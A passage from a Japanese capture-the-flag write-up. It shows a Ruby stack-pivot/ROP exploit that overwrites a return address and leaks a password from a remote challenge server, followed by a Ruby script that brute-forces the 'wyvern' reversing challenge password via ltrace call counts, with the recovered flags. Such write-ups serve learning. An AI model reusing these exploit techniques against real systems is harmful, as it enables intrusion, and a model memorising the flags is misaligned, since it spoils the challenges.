|  xxxxxxxx  | <-recv_buf内のアドレス。stack pivot用
+------------+
|  leave_ret | <-stack pivot用
+------------+
|            |
+------------+
|      1     | <-countを1にしておけば、次段のfunc_XXがすぐ終了する
+------------+
|    0x100   |
+------------+
|      0     |
+------------+
|            |
+------------+
|            |
|  recv_buf  | <-この中にROPを入れておく
|            |

一番最初のfunc_XXから戻ったときにstack pivot→ROPでsock_send(sock_fd, password, 256)が呼ばれるようにした。

#coding:ascii-8bit
require_relative "../../pwnlib"

remote = true
if remote
    host = "54.152.37.20"
    port = 24242
else
    host = "192.168.0.2"
    port = 24242
end

for fd in 3..10
    PwnTube.open(host, port){|tube|
        tube.wait_time = 0

        localbuf_size = 0xc0
        readsize = localbuf_size + 27

        ret_gadget = 0x0804a83d
        leave_ret_gadget = 0x0804a83c
        retaddr = leave_ret_gadget
        rop = [0x0804884b, 0, fd, 0x0805f0c0, 0x100].pack("L*")

        payload = ""
        payload << "\xcf" * 4  #localbuf用
        payload << [ret_gadget].pack("L*") * ((localbuf_size - rop.length - 4) / 4)  # ret-sled
        payload << rop
        payload << "\0" * 4  # canary用
        payload << "        "  # ごみ用
        payload << [0x180].pack("L")  # ebp用
        payload << [0x08056afa ^ retaddr].pack("L")  # リターンアドレス書き換え用
        payload << "    "  # recv_buf用
        payload << [readsize ^ 1].pack("L")  # 直後のfunc_XXのcountを1にする用
        raise "payload too long" if payload.length > 256
        tube.send(payload)

        tube.interactive
    }
end

FLAG:cc21fe41b44ba70d0e6978c840698601

wyvern (Reversing 500)

C++のごちゃごちゃしてるバイナリ。

start_quest内を適当に眺めているとstd::string::length(input) - 1legend >> 2(legend = 0x73)を比較している処理を見つけた。

ここからパスワードの長さが28文字と仮定して実行してみたところ、sanitize_inputという関数が呼ばれるようになった。

sanitize_input内を見てみると、std::string::operator[]に入力が渡されていた。

$ ruby -e 'puts "A"*28' | ltrace ./wyvern
(snip)
_ZNSsixEm(0x7ffdf6862240, 0, 0xffffffff, 0)      = 0x1dbc1b8
(snip)

最初の文字だけ見て終了しているっぽかったので、文字をいろいろ変えてみたところ、

$ ruby -e 'puts "d"*28' | ltrace ./wyvern
(snip)
_ZNSsixEm(0x7fff228aa400, 0, 0xffffffff, 0)      = 0x12ec1b8
(snip)
_ZNSsixEm(0x7fff228aa400, 1, 0xffffffff, 0)      = 0x12ec1b9
(snip)

最初の文字がdだと2番目の文字も見てくれるようになった。

これなら1文字ずつブルートフォースすればパスワード特定できるじゃん、ということで、スクリプトを書いた。

require "open3"

def count(input)
  Open3.popen3("ltrace ./wyvern"){|stdin, stdout, stderr, t|
    stdin.puts input
    stdin.close
    stderr.read.scan(/_ZNSsixEm/).length
  }
end

def get_flag(input)
  Open3.popen3("./wyvern"){|stdin, stdout, stderr, t|
    stdin.puts input
    stdin.close
    stdout.read.match(/flag{.+?}/)
  }
end

secret = ""
while secret.length < 27
  for i in 0x20..0x7e
    # print "."
    if count(secret + i.chr + "A" * (27 - secret.length)) == secret.length + 2
      secret << i.chr
      break
    end
  end
  puts secret
end

for i in 0x20..0x7e
  # print "."
  result = get_flag(secret + i.chr)
  if result
    secret << i.chr
    puts secret
    puts result
    break
  end
end

最後の文字だけはstd::string::operator[]の呼び出し回数で判断できなかったため、フラグが出力されているかどうかで判断するようにした。

$ ruby solver.rb
d
dr
dr4
dr4g
dr4g0
dr4g0n
dr4g0n_
dr4g0n_o
dr4g0n_or
dr4g0n_or_
dr4g0n_or_p
dr4g0n_or_p4
dr4g0n_or_p4t
dr4g0n_or_p4tr
dr4g0n_or_p4tri
dr4g0n_or_p4tric
dr4g0n_or_p4tric1
dr4g0n_or_p4tric1a
dr4g0n_or_p4tric1an
dr4g0n_or_p4tric1an_
dr4g0n_or_p4tric1an_i
dr4g0n_or_p4tric1an_it
dr4g0n_or_p4tric1an_it5
dr4g0n_or_p4tric1an_it5_
dr4g0n_or_p4tric1an_it5_L
dr4g0n_or_p4tric1an_it5_LL
dr4g0n_or_p4tric1an_it5_LLV
dr4g0n_or_p4tric1an_it5_LLVM
flag{dr4g0n_or_p4tric1an_it5_LLVM}

$ echo dr4g0n_or_p4tric1an_it5_LLVM | ./wyvern
+-----------------------+
|    Welcome Hero       |
+-----------------------+

[!] Quest: there is a dragon prowling the domain.
        brute strength and magic is our only hope. Test your skill.

Enter the dragon's secret: success

[+] A great success! Here is a flag{dr4g0n_or_p4tric1an_it5_LLVM}

FLAG:dr4g0n_or_p4tric1an_it5_LLVM (flag{}がついていると誤答扱いされた(´・ω・`))